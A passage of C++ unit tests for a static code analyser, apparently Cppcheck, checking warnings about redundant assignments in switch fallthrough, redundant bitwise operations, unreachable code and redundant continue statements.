bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" 